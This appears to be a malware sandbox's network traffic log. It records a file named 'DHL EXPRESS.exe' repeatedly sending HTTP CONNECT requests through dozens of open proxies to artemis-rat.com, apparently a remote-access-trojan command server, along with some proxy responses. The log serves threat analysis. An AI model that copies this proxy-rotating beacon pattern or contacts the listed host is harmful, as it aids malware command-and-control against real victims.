Mar 11, 2024 18:36:55.750402927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1877	192.168.2.8	52320	162.240.73.148	34447	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.754331112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769041061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.769349098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.769527912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.769119978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1878	192.168.2.8	52123	192.111.135.17	18302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.754589081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1879	192.168.2.8	54285	150.230.96.150	19291	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.819919109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909626961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1880	192.168.2.8	55228	172.67.199.231	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.835726976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.991499901 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:55 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1881	192.168.2.8	52527	132.148.245.247	26295	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.840194941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1882	192.168.2.8	55144	148.72.209.174	38088	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.845237970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.706502914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.821387053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.894223928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.063786030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1883	192.168.2.8	52419	181.110.214.134	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.856533051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.920610905 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1884	192.168.2.8	52333	88.255.102.105	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.891551018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909698963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.886780024 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1885	192.168.2.8	55221	64.227.108.25	31908	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.900065899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1886	192.168.2.8	52464	23.225.72.123	3501	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.901804924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.294996977 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1887	192.168.2.8	55090	41.242.116.150	50003	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.908922911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.525367022 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1888	192.168.2.8	55231	45.120.178.197	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.970139980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1889	192.168.2.8	55224	45.11.95.165	5036	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.971468925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1890	192.168.2.8	52489	133.232.90.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.974915981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.114753008 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:02 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1891	192.168.2.8	51746	52.151.210.204	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.975244999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1892	192.168.2.8	55233	195.138.65.34	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.977957964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1893	192.168.2.8	55236	45.11.95.165	6010	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:56.012571096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1894	192.168.2.8	52470	194.31.79.75	25900	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:56.013247967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.065973043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.066190958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.066538095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:20.065685987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:32.081327915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:44.081321001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:08.190712929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:56.190836906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1895	192.168.2.8	55237	47.100.236.23	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.031768084 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:58.398933887 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1896	192.168.2.8	55239	138.36.150.26	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.035813093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1897	192.168.2.8	55232	119.18.149.34	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.036358118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1898	192.168.2.8	55208	107.181.168.145	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.176637888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1899	192.168.2.8	55244	51.15.252.246	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.207681894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1900	192.168.2.8	55082	70.166.167.38	57728	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.243022919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1901	192.168.2.8	55241	103.127.1.130	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.243417025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1902	192.168.2.8	54410	131.186.37.99	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.244513988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1903	192.168.2.8	55243	42.49.148.167	9001	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.251296997 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:58.651926994 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1904	192.168.2.8	55246	8.217.95.44	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.275604010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

